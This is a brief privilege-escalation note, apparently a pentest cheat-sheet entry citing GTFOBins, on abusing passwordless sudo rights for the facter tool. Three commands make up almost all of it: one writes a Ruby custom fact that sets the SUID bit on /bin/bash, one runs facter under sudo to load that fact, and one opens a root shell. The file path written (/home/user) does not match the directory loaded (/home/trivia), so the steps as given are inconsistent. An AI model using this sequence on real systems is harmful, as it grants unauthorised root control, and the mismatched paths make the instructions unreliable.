FACTER
Reference: GTFOBins - facter
This example shows:
sudo ALL:NOPASSWD rights for /usr/bin/facter
- Create a Ruby file and register a custom fact named
plz_workthat sets the SUID bit on/bin/bash.
echo 'Facter.add(:plz_work) do setcode { system("chmod +s /bin/bash") } end' > /home/user/root.rb
- Execute the payload using the allowed
factersudo rights.
sudo /usr/bin/facter --custom-dir=/home/trivia/ plz_work
- Get a root shell.
bash -p